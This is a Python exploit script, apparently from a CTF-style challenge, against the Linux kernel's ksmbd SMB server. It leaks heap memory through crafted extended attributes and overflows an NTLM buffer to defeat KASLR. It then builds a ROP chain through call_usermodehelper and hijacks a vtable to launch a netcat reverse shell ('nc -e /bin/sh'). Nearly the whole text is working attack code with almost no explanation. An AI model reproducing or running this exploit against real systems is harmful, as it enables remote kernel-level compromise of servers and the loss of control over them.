README.md
Rendering markdown...
from pwn import *
from itertools import accumulate
import threading
import sys
import os
import struct
import base64
import time
# 0x80 max connections, each stay alive forever on server side
'''
p server_conf
$5 = {
flags = 0x0,
state = 0x1,
signing = 0x0,
enforced_signing = 0x0,
min_protocol = 0x2,
max_protocol = 0x6,
tcp_port = 0x1bd,
ipc_timeout = 0x0,
ipc_last_active = 0x0,
deadtime = 0x0,
share_fake_fscaps = 0x40,
domain_sid = {
revision = 0x1,
num_subauth = 0x4,
authority = "\000\000\000\000\000\005",
sub_auth = {0x15, 0xa957530c, 0xba190f55, 0xb2a2432f, 0x0 <repeats 11 times>}
},
auth_mechs = 0x7,
max_connections = 0x80,
conf = {0xffff8881042b6940 "KSMBD SERVER", 0xffff8881042b60a0 "SMB SERVER", 0xffff8881042b6e10 "WORKGROUP"}
}
'''
def dump_x_gx(data):
n = len(data)
pad_len = (8 - (n % 8)) % 8
padded = data + b"\x00" * pad_len
for i in range(0, len(padded), 8):
chunk = padded[i:i+8]
real_len = min(8, n - i)
if real_len == 8:
val = struct.unpack("<Q", chunk)[0]
print(f"0x{val:016x}")
else:
parts = [f"{b:02x}" for b in chunk[:real_len]]
parts += ["XX"] * (8 - real_len)
hex_str = "".join(parts[::-1])
print("0x" + hex_str.replace("XX", "XXXXX", 1)
if "XX" in parts else "0x" + hex_str)
def extract_qwords(data):
n_full = len(data) // 8 * 8
qwords = []
for i in range(0, n_full, 8):
chunk = data[i:i+8]
val = struct.unpack("<Q", chunk)[0]
qwords.append(val)
return qwords
from impacket.smbconnection import SMBConnection
from impacket.smb3structs import *
from impacket.structure import Structure
import functools
import impacket.ntlm
ADDRESS = 'localhost'
TARGET_IP = '127.0.0.1'
PORT = 1337
USER = 'fossboss'
PW = 'fossboss'
DOMAIN = 'localhost'
SHARE = 'CompanyShare'
FILENAME = 'foo'
def conn():
return SMBConnection(ADDRESS, TARGET_IP, sess_port=PORT, preferredDialect=SMB2_DIALECT_311, timeout=30000)
def open_file(conn, tid):
return conn.create(
tid,
FILENAME,
desiredAccess=FILE_READ_DATA | FILE_WRITE_DATA | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | FILE_READ_EA | FILE_WRITE_EA,
shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE,
creationOptions=FILE_NON_DIRECTORY_FILE,
creationDisposition=FILE_OVERWRITE_IF,
fileAttributes=FILE_ATTRIBUTE_NORMAL
)
leaker = conn()
leaker.login(USER, PW, DOMAIN)
leaker = leaker._SMBConnection
assert leaker.getDialect() == SMB2_DIALECT_311
# will leak -0x10 less
def make_evil(size):
assert(size >= 0x20)
# 12 bytes left till size after this
evil_ea_name = b'evil.name' + b''.ljust(size - 12 - 9 + 1 - 12, b'A') + b'\x00\x00\x00'
evil_value_name = p32(0) + p8(0) + p8(3) + p16(size - 0x10) + b'oof\x00'
evil_entry = FILE_FULL_EA_INFORMATION()
evil_entry['NextEntryOffset'] = size - 12
evil_entry['Flags'] = 0
evil_entry['EaNameLength'] = len(evil_ea_name) - 1
evil_entry['EaValueLength'] = len(evil_value_name)
evil_entry['EaName'] = evil_ea_name
evil_entry['EaValue'] = evil_value_name
return evil_entry
def deserialize_ea(info):
namelen = info[5]
valuelen = u16(info[6:8])
name = info[8:8 + namelen]
value = info[8 + namelen:]
return (name, value)
def leak(leaker, tid, fid, amount):
# can't arbitrarily leak because of this nonsensical check
# https://elixir.bootlin.com/linux/v6.1.45/source/fs/smb/server/smb2pdu.c#L2343
entries = [make_evil(amount-0x65)]
entries = [e.getData() for e in entries]
leaker.setInfo(
tid,
fid,
inputBlob=b''.join(entries),
infoType=SMB2_0_INFO_FILE,
fileInfoClass=SMB2_FULL_EA_INFO
)
result = leaker.queryInfo(
tid,
fid,
fileInfoClass=SMB2_FULL_EA_INFO
)
_, leak = deserialize_ea(result)
leak = leak[2:]
dump_x_gx(leak)
return leak
spray1 = 0x18
spray2 = spray1 + 0x10
spray3 = spray2 + 0x18
spray4 = spray3 + 0x18
conns = [None for i in range(spray4)]
kmalloc512_leak = None
kmalloc512_leak_q = None
kmalloc1k_leak = None
kmalloc1k_leak_q = None
target_conn = None
tid = leaker.connectTree(SHARE)
fid = open_file(leaker, tid)
while True:
for i in range(spray1):
log.info(f"spraying conn {i}")
# struct ksmbd_conn alloc
conns[i] = conn()
# struct ksmbd_session alloc
conns[i]._SMBConnection.login_init(USER, PW, DOMAIN)
# spray and retry, because of slab noise and slab randomization
# a bigger kmalloc-1024?, then kmalloc-512, potentially a few other allocs
log.info('leakage of kmalloc-512')
kmalloc512_leak = leak(leaker, tid, fid, 0x200)
kmalloc512_leak_q = extract_qwords(kmalloc512_leak)
if kmalloc512_leak_q[2] != 0x4343434343434343:
log.info('leak failed, trying again')
for i in range(spray1):
conns[i]._SMBConnection.close_session()
fid = open_file(leaker, tid)
else:
break
overflowed_conn = None
failed_evils = []
while True:
evil = conn()
for i in range(spray1, spray2):
log.info(f"spraying conn {i}")
conns[i] = conn()
conns[i]._SMBConnection.login_init(USER, PW, DOMAIN)
log.info(f"allocate evil")
# ksmbd_session allocate
evil._SMBConnection.login_init(USER, PW, DOMAIN)
for i in range(spray2, spray3):
log.info(f"spraying conn {i}")
conns[i] = conn()
conns[i]._SMBConnection.login_init(USER, PW, DOMAIN)
for i in range(spray1, spray3):
conns[i]._SMBConnection.login_finish()
# set a potential state as in progress to see if any error
payload = (b'Z' * 40 + (kmalloc512_leak[0x68:]).ljust(0x200 - 0x68, b'Z') +
kmalloc512_leak[:0x34]) + p32(1)
os.environ['IMPACKET_OVERFLOW_NTLM'] = base64.b64encode(payload).decode()
# note when logging in, a kmalloc-512 allocation is made and then freed for storing cipher stuff
evil._SMBConnection.login_finish()
os.environ.pop("IMPACKET_OVERFLOW_NTLM", None)
for i in range(spray1, spray3):
try:
log.info(f'attempting tree connect on {i}')
conns[i]._SMBConnection.connectTree(SHARE)
except impacket.smb3.SessionError:
overflowed_conn = i
log.info(f'overflowed connection: {overflowed_conn}')
break
if overflowed_conn is None:
# note that we are limited in total attempts in this
# but we should be able to hit in a few tries at most
log.info('overflow failed, retrying')
for i in range(spray1, spray3):
conns[i]._SMBConnection.close_session()
failed_evils.append(evil)
else:
break
while True:
for i in range(spray3, spray4):
log.info(f"spraying conn {i}")
conns[i] = conn()
conns[i]._SMBConnection.login_init(USER, PW, DOMAIN)
# a bigger kmalloc-2048?, then kmalloc-1024, potentially a few other allocs
log.info('leakage of kmalloc-1024')
kmalloc1k_leak = leak(leaker, tid, fid, 0x400)
kmalloc1k_leak_q = extract_qwords(kmalloc1k_leak)
if kmalloc1k_leak_q[0] & 0xffff == 0xdd00:
guid = (p64(kmalloc1k_leak_q[35]) + p64(kmalloc1k_leak_q[36])).decode()
print(f'guid is: {guid}')
for i in range(spray4):
if guid == conns[i]._SMBConnection.ClientGuid:
target_conn = i
log.info(f'found target conn based on guid at {target_conn}')
if target_conn != None:
break
log.info('failed, trying again')
for i in range(spray3, spray4):
conns[i]._SMBConnection.close_session()
fid = open_file(leaker, tid)
target = kmalloc1k_leak_q[6] - 0x30 - 0x1c0
smb311_server_values = kmalloc1k_leak_q[0]
kaslr_base = smb311_server_values - (0xffffffff82fcdd00 - 0xffffffff81000000)
rebase = lambda orig_addr : kaslr_base + (orig_addr - 0xffffffff81000000)
# 0xffffffff810f4533: leave ; ret ;
leave_ret = rebase(0xffffffff810f4533)
# 0xffffffff81031157: pop rdi ; ret ;
pop_rdi = rebase(0xffffffff81031157)
# 0xffffffff8105c524: pop rsi ; ret ;
pop_rsi = rebase(0xffffffff8105c524)
# 0xffffffff810aac72: pop rdx ; ret ;
pop_rdx = rebase(0xffffffff810aac72)
# 0xffffffff81245e83: pop rcx ; ret ;
pop_rcx = rebase(0xffffffff81245e83)
# 0xffffffff811eaf20: pop rsp ; ret ;
pop_rsp = rebase(0xffffffff811eaf20)
'''
x/50gx 0xffffffff82e5ee00
0xffffffff82e5ee00 <envp.0>: 0xffffffff827e612a 0xffffffff827e6131
0xffffffff82e5ee10 <envp.0+16>: 0xffffffff82843918 0x0000000000000000
'''
envp = rebase(0xffffffff82e5ee00)
call_usermodehelper = rebase(0xffffffff810e9e40)
msleep = rebase(0xffffffff8115ffc0)
log.info(f'kaslr: {hex(kaslr_base)}')
log.info(f'stack pivot: {hex(leave_ret)}')
log.info(f'pop rdi: {hex(pop_rdi)}')
log.info(f'pop rsi: {hex(pop_rsi)}')
log.info(f'pop rdx: {hex(pop_rdx)}')
log.info(f'pop rcx: {hex(pop_rcx)}')
log.info(f'pop_rsp: {hex(pop_rsp)}')
log.info(f'envp: {hex(envp)}')
log.info(f'call_usermodehelper: {hex(call_usermodehelper)}')
log.info(f'msleep: {hex(msleep)}')
log.info(f'choosing our target: {hex(target)}')
payload = (b'Z' * 40 + (kmalloc512_leak[0x68:]).ljust(0x200 - 0x68, b'Z') + p64(0xbaad) + p16(0x311) + b'X' * 16 +
kmalloc512_leak[0x8+18:0x38] + p64(target))
os.environ['IMPACKET_OVERFLOW_NTLM'] = base64.b64encode(payload).decode()
# note when logging in, a kmalloc-512 allocation is made and then freed for storing cipher stuff
evil._SMBConnection.login_finish()
os.environ.pop("IMPACKET_OVERFLOW_NTLM", None)
payload_size = 0x1c0-0x64
# control rbp, rcx, r8, controlled data around 0xffff888102d97a40
'''
[ 209.080442] RAX: 1337babebaadbeef RBX: 0000000000000000 RCX: ffff888102d97b00
[ 209.084157] RDX: 0000000000000006 RSI: ffffc90000043db2 RDI: 0000000000000066
[ 209.087849] RBP: ffff888102d97b00 R08: ffff888102d97c00 R09: 0000000000000052
[ 209.091570] R10: 000000000000000a R11: d9b8d6dba644bded R12: ffff888102f70052
[ 209.095254] R13: 0000000000000008 R14: 0000000000000010 R15: 0000000000000000
'''
# grep --color=always -A10 -E ",QWORD PTR \[(rbp|rcx)" disas | grep -B10 "indirect_thunk"
cmd_base = target + 0x168
cmd = [b'/usr/bin/nc.traditional\x00', b'-e\x00', b'/bin/sh\x00', b'127.0.0.1\x00', b'1337\x00']
cmd_argv = b''.join(
map(p64, (cmd_base + offset for offset in accumulate([0] + [len(x) for x in cmd[:-1]])))
)
evil_nls = (p64(0x4141414141414141) + p64(pop_rdi) +
p64(leave_ret) +
p64(pop_rdi) + p64(cmd_base) +
p64(pop_rsi) + p64(target + 0x138) +
p64(pop_rdx) + p64(envp) +
p64(pop_rcx) + p64(0) +
p64(call_usermodehelper) +
p64(pop_rdi) + p64(0x7fffffff) +
p64(msleep) +
cmd_argv + p64(0x0) +
b''.join(c for c in cmd))
payload = (b'\x68' * (0x4+8*11) + evil_nls.ljust(0x1c0-0x68-8*11, b'\x68') +
kmalloc1k_leak[:0x58] + p64(target+0xc0) + kmalloc1k_leak[0x60:0x238-0x70])
log.info(f'payload len: {hex(len(payload))}')
log.info('triggering arb free')
# free preauth_hash with authentication path
conns[overflowed_conn]._SMBConnection.login_finish()
try:
leaker.setInfo(
tid,
fid,
inputBlob=payload,
infoType=SMB2_0_INFO_FILE,
fileInfoClass=SMB2_FULL_EA_INFO
)
except:
pass
log.info('vtable should be hijacked')
conns[target_conn]._SMBConnection.login_finish()
input('ending connections will probably crash the system')